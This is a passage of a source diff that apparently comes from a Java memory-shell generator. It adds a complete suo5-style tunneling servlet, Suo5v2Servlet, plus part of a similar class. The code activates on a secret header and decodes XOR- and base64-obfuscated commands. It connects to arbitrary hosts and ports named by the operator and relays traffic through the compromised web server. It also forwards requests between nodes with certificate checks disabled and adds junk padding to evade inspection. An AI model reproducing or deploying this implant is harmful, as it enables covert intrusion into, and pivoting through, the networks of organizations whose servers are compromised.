Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e2) { + } + } + return value; + } + + private byte[] marshalBase64(HashMap m) throws Exception { + // add some junk data, 0~16 random size + Random random = new Random(); + int junkSize = random.nextInt(32); + if (junkSize > 0) { + byte[] junk = new byte[junkSize]; + random.nextBytes(junk); + m.put("_", junk); + } + + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + Object[] keys = m.keySet().toArray(); + for (int i = 0; i < keys.length; i++) { + String key = (String) keys[i]; + byte[] value = (byte[]) m.get(key); + buf.write((byte) key.length()); + buf.write(key.getBytes()); + buf.write(u32toBytes(value.length)); + buf.write(value); + } + + // xor key + byte[] key = new byte[2]; + key[0] = (byte) ((Math.random() * 255) + 1); + key[1] = (byte) ((Math.random() * 255) + 1); + + byte[] data = buf.toByteArray(); + for (int i = 0; i < data.length; i++) { + data[i] = (byte) (data[i] ^ key[i % 2]); + } + data = base64UrlEncode(data).getBytes(); + + ByteBuffer dbuf = ByteBuffer.allocate(6); + dbuf.put(key); + dbuf.putInt(data.length); + byte[] headerData = dbuf.array(); + for (int i = 2; i < 6; i++) { + headerData[i] = (byte) (headerData[i] ^ key[i % 2]); + } + headerData = base64UrlEncode(headerData).getBytes(); + dbuf = ByteBuffer.allocate(8 + data.length); + dbuf.put(headerData); + dbuf.put(data); + return dbuf.array(); + } + + private HashMap unmarshalBase64(InputStream in) throws Exception { + HashMap m = new HashMap(); + byte[] header = new byte[8]; // base64 header + readFull(in, header); + header = base64UrlDecode(new String(header)); + if (header == null || header.length == 0) { + return m; + } + byte[] xor = new byte[]{header[0], header[1]}; + for (int i = 2; i < 6; i++) { + header[i] = (byte) (header[i] ^ xor[i % 2]); + } + ByteBuffer bb = ByteBuffer.wrap(header, 2, 4); + int len = bb.getInt(); + if (len > 1024 * 1024 * 32) { + throw new IOException("invalid len"); + } + byte[] bs = new byte[len]; + readFull(in, bs); + bs = base64UrlDecode(new String(bs)); + for (int i = 0; i < bs.length; i++) { + bs[i] = (byte) (bs[i] ^ xor[i % 2]); + } + + byte[] buf; + for (int i = 0; i < bs.length; ) { + int kLen = bs[i] & 0xFF; + i += 1; + if (i + kLen > bs.length) { + throw new Exception("key len error"); + } + buf = copyOfRange(bs, i, i + kLen); + String key = new String(buf); + i += kLen; + + if (i + 4 > bs.length) { + throw new Exception("value len error"); + } + buf = copyOfRange(bs, i, i + 4); + int vLen = bytesToU32(buf); + i += 4; + if (vLen < 0) { + throw new Exception("value error"); + } + + if (i + vLen > bs.length) { + throw new Exception("value error"); + } + byte[] value = copyOfRange(bs, i, i + vLen); + i += vLen; + + m.put(key, value); + } + return m; + } + + private String randomString(int length) { + if (length <= 0) { + return ""; + } + Random random = new Random(); + char[] randomChars = new char[length]; + for (int i = 0; i < length; i++) { + int randomIndex = random.nextInt(CHARACTERS_LENGTH); + randomChars[i] = CHARACTERS.charAt(randomIndex); + } + return new String(randomChars); + } + + private int toOffset(byte[] bs) { + if (bs == null || bs.length != 4) { + return 0; + } + try { + bs = base64UrlDecode(new String(bs)); + return ((bs[1] & 0xFF) << 8) | (bs[2] & 0xFF); + } catch (Exception e) { + + return 0; + } + } + + private String getOffset(HttpServletRequest request) { + String cookieValue = request.getHeader("Cookie"); + if (cookieValue != null && cookieValue.length() > 0) { + ArrayList cookieVals = cookieValues(cookieValue); + for (int i = 0; i < cookieVals.size(); i++) { + String val = (String) cookieVals.get(i); + if (val.length() >= 12) { + if (is_valid(val.substring(val.length() - 8), 430) != null) { + return val; + } + } + } + } + + Enumeration headerNames = request.getHeaderNames(); + while (headerNames != null && headerNames.hasMoreElements()) { + String headerName = (String) headerNames.nextElement(); + String val = request.getHeader(headerName); + if (val.length() >= 12) { + if (is_valid(val.substring(val.length() - 8), 430) != null) { + return val; + } + } + } + + return null; + } + + private byte[] is_valid(String data, int sum) { + try { + byte[] result = base64UrlDecode(data); + if (result.length < 6) { + return null; + } else { + int i = result.length - 2; + int j = result.length - 3; + int p = result.length - 5; + int q = result.length - 6; + boolean valid = isOdd(result[i]) && isOdd(result[j]) && !isOdd(result[p]) && !isOdd(result[q]) && toUInt(result[i]) + toUInt(result[j]) + toUInt(result[p]) + toUInt(result[q]) == sum; + return valid ? result : null; + } + } catch (Exception var8) { + return null; + } + } + + private boolean isOdd(int i) { + return (i & 1) == 1; + } + + private int toUInt(byte x) { + return x & 255; + } + + public static String md5(byte[] content) { + MessageDigest md = null; + try { + md = MessageDigest.getInstance("MD5"); + } catch (NoSuchAlgorithmException e) { + throw new RuntimeException(e); + } + byte[] md5Bytes = md.digest(content); + // no String.format in java1.4 + StringBuffer sb = new StringBuffer(); + for (int i = 0; i < md5Bytes.length; i++) { + byte b = md5Bytes[i]; + int value = b & 0xFF; + if (value < 16) { + sb.append('0'); + } + sb.append(Integer.toHexString(value)); + } + return sb.toString(); + } + + private ArrayList cookieValues(String cookieValue) { + ArrayList values = new ArrayList(); + String[] cookiePairs = cookieValue.split(";"); + + for (int i = 0; i < cookiePairs.length; i++) { + String pair = cookiePairs[i]; + String[] keyValue = pair.split("=", 2); + if (keyValue.length >= 2) { + values.add(keyValue[1].trim()); + } + } + + return values; + } + + public boolean verify(String hostname, SSLSession session) { + return true; + } + + public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public X509Certificate[] getAcceptedIssuers() { + return new X509Certificate[0]; + } + + public void run() { + // full stream + if (this.mode == 0) { + try { + pipeStream(gInStream, gOutStream, true); + } catch (Exception ignore) { + } + return; + } + + Object[] objs = (Object[]) getKey(this.gtunId); + if (objs == null || objs.length != 3) { + + return; + } + SocketChannel sc = (SocketChannel) objs[0]; + BlockingQueue readQueue = (BlockingQueue) objs[1]; + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + boolean selfClean = false; + + try { + if (mode == 1) { + // read thread + ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); + while (true) { + byte[] data = readSocketChannel(sc, buffer); + if (data.length == 0) { + break; + } + if (!readQueue.offer(data, 60, TimeUnit.SECONDS)) { + selfClean = true; + break; + } + } + } else { + // write thread + while (true) { + byte[] data = writeQueue.poll(300, TimeUnit.SECONDS); + if (data == null || data.length == 0) { + selfClean = true; + break; + } + ByteBuffer buf = ByteBuffer.wrap(data); + while (buf.hasRemaining()) { + sc.write(buf); + } + } + } + } catch (Exception e) { + } finally { + if (selfClean) { + + removeKey(this.gtunId); + } + readQueue.clear(); + writeQueue.clear(); + try { + writeQueue.put(new byte[0]); + sc.close(); + } catch (Exception ignore) { + } + + } + } +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Servlet.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Servlet.java new file mode 100644 index 00000000..8ebbf059 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Servlet.java @@ -0,0 +1,1191 @@ +package com.reajason.javaweb.memshell.shelltool.suo5v2; + +import javax.net.ssl.*; +import javax.servlet.*; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.*; +import java.net.*; +import java.nio.ByteBuffer; +import java.nio.channels.SocketChannel; +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; +import java.security.cert.CertificateException; +import java.security.cert.X509Certificate; +import java.util.*; +import java.util.concurrent.BlockingQueue; +import java.util.concurrent.LinkedBlockingQueue; +import java.util.concurrent.TimeUnit; + +/** + * @author ReaJason + * @since 2025/12/9 + */ +public class Suo5v2Servlet implements Servlet, Runnable, HostnameVerifier, X509TrustManager { + public static String headerName; + public static String headerValue; + private static HashMap addrs = collectAddr(); + private static Hashtable ctx = new Hashtable(); + + private final String CHARACTERS = "abcdefghijklmnopqrstuvwxyz0123456789"; + private final int CHARACTERS_LENGTH = CHARACTERS.length(); + private final int BUF_SIZE = 1024 * 16; + + private InputStream gInStream; + private OutputStream gOutStream; + private String gtunId; + private int mode = 0; + + public Suo5v2Servlet() { + } + + public Suo5v2Servlet(InputStream in, OutputStream out, String tunId) { + this.gInStream = in; + this.gOutStream = out; + this.gtunId = tunId; + } + + public Suo5v2Servlet(String tunId, int mode) { + this.gtunId = tunId; + this.mode = mode; + } + + + @Override + public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException { + HttpServletRequest request = (HttpServletRequest) req; + HttpServletResponse response = (HttpServletResponse) res; + try { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + new Suo5v2Servlet().process(request, response); + } + } catch (Throwable ignored) { + } + } + + private void process(ServletRequest request, ServletResponse response) { + HttpServletRequest req = (HttpServletRequest) request; + HttpServletResponse resp = (HttpServletResponse) response; + + String sid = null; + byte[] bodyPrefix = new byte[0]; + try { + InputStream reqInputStream = req.getInputStream(); + HashMap dataMap = unmarshalBase64(reqInputStream); + + byte[] modeData = (byte[]) dataMap.get("m"); + byte[] actionData = (byte[]) dataMap.get("ac"); + byte[] tunIdData = (byte[]) dataMap.get("id"); + byte[] sidData = (byte[]) dataMap.get("sid"); + if (actionData == null || actionData.length != 1 || tunIdData == null || tunIdData.length == 0 || modeData == null || modeData.length == 0) { + return; + } + if (sidData != null && sidData.length > 0) { + sid = new String(sidData); + } + + String tunId = new String(tunIdData); + byte mode = modeData[0]; + switch (mode) { + case 0x00: + sid = randomString(16); + processHandshake(req, resp, dataMap, tunId, sid); + + break; + case 0x01: + setBypassHeader(resp); + processFullStream(req, resp, dataMap, tunId); + break; + case 0x02: + setBypassHeader(resp); + // don't break here, continue to process + case 0x03: + byte[] bodyContent = toByteArray(reqInputStream); + if (processRedirect(req, resp, dataMap, bodyPrefix, bodyContent)) { + + break; + } + + if (sidData == null || sidData.length == 0 || getKey(new String(sidData)) == null) { + // send to wrong node, client should retry + resp.setStatus(403); + + return; + } + + InputStream bodyStream = new ByteArrayInputStream(bodyContent); + int dirySize = getDirtySize(sid); + + if (mode == 0x02) { + // half mode + writeAndFlush(resp, processTemplateStart(resp, new String(sidData)), dirySize); + do { + processHalfStream(req, resp, dataMap, tunId, dirySize); + try { + dataMap = unmarshalBase64(bodyStream); + if (dataMap.isEmpty()) { + break; + } + tunId = new String((byte[]) dataMap.get("id")); + } catch (Exception e) { + break; + } + } while (true); + writeAndFlush(resp, processTemplateEnd(sid), dirySize); + + } else { + // classic mode + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(processTemplateStart(resp, new String(sidData))); + + do { + processClassic(req, baos, dataMap, tunId); + try { + dataMap = unmarshalBase64(bodyStream); + if (dataMap.isEmpty()) { + break; + } + tunId = new String((byte[]) dataMap.get("id")); + } catch (Exception e) { + break; + } + } while (true); + + baos.write(processTemplateEnd(sid)); + resp.setContentLength(baos.size()); + writeAndFlush(resp, baos.toByteArray(), 0); + } + + break; + default: + } + } catch (Throwable e) { + } finally { + + } + } + + private void setBypassHeader(HttpServletResponse resp) { + resp.setBufferSize(BUF_SIZE); + resp.setHeader("X-Accel-Buffering", "no"); + } + + private byte[] processTemplateStart(HttpServletResponse resp, String sid) throws Exception { + byte[] data = new byte[0]; + Object o = getKey(sid); + if (o == null) { + + return data; + } + String[] tplParts = (String[]) o; + if (tplParts.length != 3) { + return data; + } + + resp.setHeader("Content-Type", tplParts[0]); + return tplParts[1].getBytes(); + } + + private byte[] processTemplateEnd(String sid) { + byte[] data = new byte[0]; + Object o = getKey(sid); + if (o == null) { + + return data; + } + String[] tplParts = (String[]) o; + if (tplParts.length != 3) { + return data; + } + + return tplParts[2].getBytes(); + } + + private int getDirtySize(String sid) { + Object o = getKey(sid + "_jk"); + if (o == null) { + return 0; + } + return (Integer) o; + } + + private boolean processRedirect(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, byte[] bodyPrefix, byte[] bodyContent) throws Exception { + byte[] redirectData = (byte[]) dataMap.get("r"); + dataMap.remove("r"); + // load balance, send request with data to request url + boolean needRedirect = redirectData != null && redirectData.length > 0; + if (needRedirect && !isLocalAddr(new String(redirectData))) { + HttpURLConnection conn = null; + try { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(bodyPrefix); + baos.write(marshalBase64(dataMap)); + baos.write(bodyContent); + byte[] newBody = baos.toByteArray(); + conn = redirect(req, new String(redirectData), newBody); + pipeStream(conn.getInputStream(), resp.getOutputStream(), false); + } finally { + if (conn != null) { + conn.disconnect(); + } + } + return true; + } + return false; + } + + private void processHandshake(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId, String sid) throws Exception { + byte[] redirectData = (byte[]) dataMap.get("r"); + boolean needRedirect = redirectData != null && redirectData.length > 0; + if (needRedirect && !isLocalAddr(new String(redirectData))) { + resp.setStatus(403); + return; + } + + byte[] tplData = (byte[]) dataMap.get("tpl"); + byte[] contentTypeData = (byte[]) dataMap.get("ct"); + if (tplData != null && tplData.length > 0 && contentTypeData != null && contentTypeData.length > 0) { + String tpl = new String(tplData); + String[] parts = tpl.split("#data#", 2); + putKey(sid, new String[]{new String(contentTypeData), parts[0], parts[1]}); + } else { + putKey(sid, new String[0]); + } + + byte[] dirtySizeData = (byte[]) dataMap.get("jk"); + if (dirtySizeData != null && dirtySizeData.length > 0) { + int dirtySize = 0; + try { + dirtySize = Integer.parseInt(new String(dirtySizeData)); + } catch (NumberFormatException e) { + + } + if (dirtySize < 0) { + dirtySize = 0; + } + putKey(sid + "_jk", dirtySize); + } + + byte[] isAutoData = (byte[]) dataMap.get("a"); + boolean isAuto = isAutoData != null && isAutoData.length > 0 && isAutoData[0] == 0x01; + if (isAuto) { + setBypassHeader(resp); + writeAndFlush(resp, processTemplateStart(resp, sid), 0); + + // write the body string to verify + writeAndFlush(resp, marshalBase64(newData(tunId, (byte[]) dataMap.get("dt"))), 0); + + Thread.sleep(2000); + + // write again to identify streaming response + writeAndFlush(resp, marshalBase64(newData(tunId, sid.getBytes())), 0); + writeAndFlush(resp, processTemplateEnd(sid), 0); + } else { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + baos.write(processTemplateStart(resp, sid)); + baos.write(marshalBase64(newData(tunId, (byte[]) dataMap.get("dt")))); + baos.write(marshalBase64(newData(tunId, sid.getBytes()))); + baos.write(processTemplateEnd(sid)); + resp.setContentLength(baos.size()); + writeAndFlush(resp, baos.toByteArray(), 0); + } + } + + private void processFullStream(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId) throws Exception { + InputStream reqInputStream = req.getInputStream(); + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + port = getServerPort(req); + } + + Socket socket = null; + + try { + socket = new Socket(); + socket.setTcpNoDelay(true); + socket.setReceiveBufferSize(128 * 1024); + socket.setSendBufferSize(128 * 1024); + socket.connect(new InetSocketAddress(host, port), 5000); + writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x00)), 0); + } catch (Exception e) { + if (socket != null) { + socket.close(); + } + writeAndFlush(resp, marshalBase64(newStatus(tunId, (byte) 0x01)), 0); + return; + } + + + Thread t = null; + boolean sendClose = true; + try { + final OutputStream scOutStream = socket.getOutputStream(); + final InputStream scInStream = socket.getInputStream(); + final OutputStream respOutputStream = resp.getOutputStream(); + + Suo5v2Servlet p = new Suo5v2Servlet(scInStream, respOutputStream, tunId); + t = new Thread(p); + t.start(); + + while (true) { + HashMap newData = unmarshalBase64(reqInputStream); + if (newData.isEmpty()) { + break; + } + byte action = ((byte[]) newData.get("ac"))[0]; + switch (action) { + case 0x00: + case 0x02: + sendClose = false; + break; + case 0x01: + byte[] data = (byte[]) newData.get("dt"); + if (data.length != 0) { + scOutStream.write(data); + scOutStream.flush(); + } + break; + case 0x10: + writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), 0); + break; + default: + } + } + } catch (Exception ignored) { + } finally { + + try { + socket.close(); + } catch (Exception ignored) { + } + + if (sendClose) { + writeAndFlush(resp, marshalBase64(newDel(tunId)), 0); + } + if (t != null) { + t.join(); + } + + } + } + + private void processHalfStream(HttpServletRequest req, HttpServletResponse resp, HashMap dataMap, String tunId, int dirtySize) throws Exception { + boolean newThread = false; + boolean sendClose = true; + + try { + byte action = ((byte[]) dataMap.get("ac"))[0]; + switch (action) { + case 0x00: + byte[] createData = performCreate(req, dataMap, tunId, newThread); + writeAndFlush(resp, createData, dirtySize); + + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + ByteBuffer buffer = ByteBuffer.allocate(BUF_SIZE); + while (true) { + try { + byte[] data = readSocketChannel(sc, buffer); + if (data.length == 0) { + break; + } + writeAndFlush(resp, marshalBase64(newData(tunId, data)), dirtySize); + } catch (Exception e) { +// + break; + } + } + break; + case 0x01: + performWrite(dataMap, tunId, newThread); + break; + case 0x02: + + sendClose = false; + performDelete(tunId); + break; + case 0x10: + writeAndFlush(resp, marshalBase64(newHeartbeat(tunId)), dirtySize); + break; + } + + } catch (Exception e) { + + performDelete(tunId); + if (sendClose) { + writeAndFlush(resp, marshalBase64(newDel(tunId)), dirtySize); + } + } + } + + private void processClassic(HttpServletRequest req, ByteArrayOutputStream respBodyStream, HashMap dataMap, String tunId) throws + Exception { + boolean sendClose = true; + boolean newThread = true; + + try { + byte action = ((byte[]) dataMap.get("ac"))[0]; + switch (action) { + case 0x00: + byte[] createData = performCreate(req, dataMap, tunId, newThread); + respBodyStream.write(createData); + break; + case 0x01: + performWrite(dataMap, tunId, newThread); + byte[] readData = performRead(tunId); + respBodyStream.write(readData); + break; + case 0x02: + sendClose = false; + performDelete(tunId); + break; + } + + } catch (Exception e) { + + performDelete(tunId); + if (sendClose) { + respBodyStream.write(marshalBase64(newDel(tunId))); + } + } + } + + private void writeAndFlush(HttpServletResponse resp, byte[] data, int dirtySize) throws Exception { + if (data == null || data.length == 0) { + return; + } + OutputStream out = resp.getOutputStream(); + out.write(data); + if (dirtySize != 0) { + + out.write(marshalBase64(newDirtyChunk(dirtySize))); + } + out.flush(); + resp.flushBuffer(); + } + + private byte[] performCreate(HttpServletRequest request, HashMap dataMap, String tunId, boolean newThread) throws Exception { + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + port = getServerPort(request); + } + + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + SocketChannel socketChannel = null; + HashMap resultData = null; + try { + socketChannel = SocketChannel.open(); + socketChannel.socket().setTcpNoDelay(true); + socketChannel.socket().setReceiveBufferSize(128 * 1024); + socketChannel.socket().setSendBufferSize(128 * 1024); + socketChannel.socket().connect(new InetSocketAddress(host, port), 3000); + socketChannel.configureBlocking(true); + resultData = newStatus(tunId, (byte) 0x00); + BlockingQueue readQueue = new LinkedBlockingQueue(100); + BlockingQueue writeQueue = new LinkedBlockingQueue(); + putKey(tunId, new Object[]{socketChannel, readQueue, writeQueue}); + if (newThread) { + new Thread(new Suo5v2Servlet(tunId, 1)).start(); + new Thread(new Suo5v2Servlet(tunId, 2)).start(); + } + } catch (Exception e) { + if (socketChannel != null) { + try { + socketChannel.close(); + } catch (Exception ignore) { + } + } + + resultData = newStatus(tunId, (byte) 0x01); + } + baos.write(marshalBase64(resultData)); + return baos.toByteArray(); + } + + private void performWrite(HashMap dataMap, String tunId, boolean newThread) throws Exception { + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + if (!sc.isConnected()) { + throw new IOException("socket not connected"); + } + + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + if (newThread) { + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + writeQueue.put(data); + } else { + ByteBuffer buf = ByteBuffer.wrap(data); + while (buf.hasRemaining()) { + sc.write(buf); + } + } + } + } + + private byte[] performRead(String tunId) throws Exception { + Object[] objs = (Object[]) getKey(tunId); + if (objs == null) { + throw new IOException("tunnel not found"); + } + SocketChannel sc = (SocketChannel) objs[0]; + if (!sc.isConnected()) { + throw new IOException("socket not connected"); + } + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + BlockingQueue readQueue = (BlockingQueue) objs[1]; + int maxSize = 512 * 1024; // 1MB + int written = 0; + while (true) { + byte[] data = readQueue.poll(); + if (data != null) { + written += data.length; + baos.write(marshalBase64(newData(tunId, data))); + if (written >= maxSize) { + break; + } + } else { + break; // no more data + } + } + return baos.toByteArray(); + } + + private void performDelete(String tunId) { + Object[] objs = (Object[]) getKey(tunId); + if (objs != null) { + removeKey(tunId); + SocketChannel sc = (SocketChannel) objs[0]; + BlockingQueue writeQueue = (BlockingQueue) objs[2]; + try { + // trigger write thread to exit; + writeQueue.put(new byte[0]); + sc.close(); + } catch (Exception ignore) { + } + } + } + + private int getServerPort(HttpServletRequest request) throws Exception { + int port; + try { + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + return port; + } + + private void pipeStream(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws Exception { + try { + byte[] readBuf = new byte[1024 * 8]; + while (true) { + int n = inputStream.read(readBuf); + if (n <= 0) { + break; + } + byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); + if (needMarshal) { + dataTmp = marshalBase64(newData(this.gtunId, dataTmp)); + } + outputStream.write(dataTmp); + outputStream.flush(); + } + } finally { + // don't close outputStream + if (inputStream != null) { + try { + inputStream.close(); + } catch (Exception ignore) { + } + } + } + } + + private byte[] readSocketChannel(SocketChannel socketChannel, ByteBuffer buffer) throws IOException { + buffer.clear(); + int bytesRead = socketChannel.read(buffer); + if (bytesRead <= 0) { // EOF or error + return new byte[0]; + } + + buffer.flip(); + byte[] data = new byte[buffer.remaining()]; + buffer.get(data); + return data; + } + + private static HashMap collectAddr() { + HashMap addrs = new HashMap(); + try { + Enumeration nifs = NetworkInterface.getNetworkInterfaces(); + while (nifs.hasMoreElements()) { + NetworkInterface nif = (NetworkInterface) nifs.nextElement(); + Enumeration addresses = nif.getInetAddresses(); + while (addresses.hasMoreElements()) { + InetAddress addr = (InetAddress) addresses.nextElement(); + String s = addr.getHostAddress(); + if (s != null) { + // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 + int ifaceIndex = s.indexOf('%'); + if (ifaceIndex != -1) { + s = s.substring(0, ifaceIndex); + } + addrs.put((Object) s, (Object) Boolean.TRUE); + } + } + } + } catch (Exception e) { + } + return addrs; + } + + private boolean isLocalAddr(String url) throws Exception { + String ip = (new URL(url)).getHost(); + return addrs.containsKey(ip); + } + + private HttpURLConnection redirect(HttpServletRequest request, String rUrl, byte[] body) throws Exception { + String method = request.getMethod(); + URL u = new URL(rUrl); + HttpURLConnection conn = (HttpURLConnection) u.openConnection(); + conn.setRequestMethod(method); + try { + // conn.setConnectTimeout(3000); + conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); + // conn.setReadTimeout(0); + conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); + } catch (Exception e) { + // java1.4 + } + conn.setDoOutput(true); + conn.setDoInput(true); + + // ignore ssl verify + // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java + if (HttpsURLConnection.class.isInstance(conn)) { + ((HttpsURLConnection) conn).setHostnameVerifier(this); + SSLContext sslCtx = SSLContext.getInstance("SSL"); + sslCtx.init(null, new TrustManager[]{this}, null); + ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); + } + + Enumeration headers = request.getHeaderNames(); + while (headers.hasMoreElements()) { + String k = (String) headers.nextElement(); + if (k.equalsIgnoreCase("Content-Length")) { + conn.setRequestProperty(k, String.valueOf(body.length)); + } else if (k.equalsIgnoreCase("Host")) { + conn.setRequestProperty(k, u.getHost()); + } else if (k.equalsIgnoreCase("Connection")) { + conn.setRequestProperty(k, "close"); + } else if (k.equalsIgnoreCase("Content-Encoding") || k.equalsIgnoreCase("Transfer-Encoding")) { + continue; + } else { + conn.setRequestProperty(k, request.getHeader(k)); + } + } + + OutputStream rout = conn.getOutputStream(); + rout.write(body); + rout.flush(); + rout.close(); + conn.getResponseCode(); + return conn; + } + + + private byte[] toByteArray(InputStream in) { + try { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + byte[] buffer = new byte[4096]; + + int len; + while ((len = in.read(buffer)) != -1) { + baos.write(buffer, 0, len); + } + + return baos.toByteArray(); + } catch (IOException var5) { + return new byte[0]; + } + } + + private void readFull(InputStream is, byte[] b) throws IOException { + int bufferOffset = 0; + while (bufferOffset < b.length) { + int readLength = b.length - bufferOffset; + int readResult = is.read(b, bufferOffset, readLength); + if (readResult == -1) { + throw new IOException("stream EOF"); + } + bufferOffset += readResult; + } + } + + public HashMap newDirtyChunk(int size) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x11}); + if (size > 0) { + byte[] data = new byte[size]; + new Random().nextBytes(data); + m.put("d", data); + } + return m; + } + + private HashMap newData(String tunId, byte[] data) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x01}); + m.put("dt", data); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newDel(String tunId) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x02}); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newStatus(String tunId, byte b) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x03}); + m.put("s", new byte[]{b}); + m.put("id", tunId.getBytes()); + return m; + } + + private HashMap newHeartbeat(String tunId) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x10}); + m.put("id", tunId.getBytes()); + return m; + } + + private byte[] u32toBytes(int i) { + byte[] result = new byte[4]; + result[0] = (byte) (i >> 24); + result[1] = (byte) (i >> 16); + result[2] = (byte) (i >> 8); + result[3] = (byte) (i /*>> 0*/); + return result; + } + + private int bytesToU32(byte[] bytes) { + return ((bytes[0] & 0xFF) << 24) | + ((bytes[1] & 0xFF) << 16) | + ((bytes[2] & 0xFF) << 8) | + ((bytes[3] & 0xFF) << 0); + } + + private void putKey(String k, Object v) { + ctx.put(k, v); + } + + private Object getKey(String k) { + return ctx.get(k); + } + + private void removeKey(String k) { + ctx.remove(k); + } + + private byte[] copyOfRange(byte[] original, int from, int to) { + int newLength = to - from; + if (newLength < 0) { + throw new IllegalArgumentException(from + " > " + to); + } + byte[] copy = new byte[newLength]; + int copyLength = Math.min(original.length - from, newLength); + // can't use System.arraycopy, there is no system in some environment + // System.arraycopy(original, from, copy, 0, copyLength); + for (int i = 0; i < copyLength; i++) { + copy[i] = original[from + i]; + } + return copy; + } + + private String base64UrlEncode(byte[] bs) throws Exception { + Class base64; + String value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object Encoder = base64.getMethod("getEncoder", new Class[0]) + .invoke(base64, new Object[0]); + value = (String) Encoder.getClass() + .getMethod("encodeToString", new Class[]{byte[].class}) + .invoke(Encoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object Encoder = base64.newInstance(); + value = (String) Encoder.getClass() + .getMethod("encode", new Class[]{byte[].class}) + .invoke(Encoder, new Object[]{bs}); + value = value.replaceAll("\\s+", ""); + } catch (Exception e2) { + } + } + if (value != null) { + value = value.replace('+', '-').replace('/', '_'); + while (value.endsWith("=")) { + value = value.substring(0, value.length() - 1); + } + } + return value; + } + + + private byte[] base64UrlDecode(String bs) throws Exception { + if (bs == null) { + return null; + } + bs = bs.replace('-', '+').replace('_', '/'); + while (bs.length() % 4 != 0) { + bs += "="; + } + + Class base64; + byte[] value = null; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", new Class[0]).invoke(base64, new Object[0]); + value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + } catch (Exception e2) { + } + } + return value; + } + + private byte[] marshalBase64(HashMap m) throws Exception { + // add some junk data, 0~16 random size + Random random = new Random(); + int junkSize = random.nextInt(32); + if (junkSize > 0) { + byte[] junk = new byte[junkSize]; + random.nextBytes(junk); + m.put("_", junk); + } + + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + Object[] keys = m.keySet().toArray(); + for (int i = 0; i < keys.length; i++) { + String key = (String) keys[i]; + byte[] value = (byte[]) m.get(key); + buf.write((byte) key.length()); + buf.write(key.getBytes()); + buf.write(u32toBytes(value.length)); + buf.write(value); + } + + // xor key + byte[] key = new byte[2]; + key[0] = (byte) ((Math.random() * 255) + 1); + key[1] = (byte) ((Math.random() * 255) + 1); + + byte[] data = buf.toByteArray(); + for (int i = 0; i < data.length; i++) { + data[i] = (byte) (data[i] ^ key[i % 2]); + } + data = base64UrlEncode(data).getBytes(); + + ByteBuffer dbuf = ByteBuffer.allocate(6); + dbuf.put(key); + dbuf.putInt(data.length); + byte[] headerData = dbuf.array(); + for (int i = 2; i < 6; i++) { + headerData[i] = (byte) (headerData[i] ^ key[i % 2]); + } + headerData = base64UrlEncode(headerData).getBytes(); + dbuf = 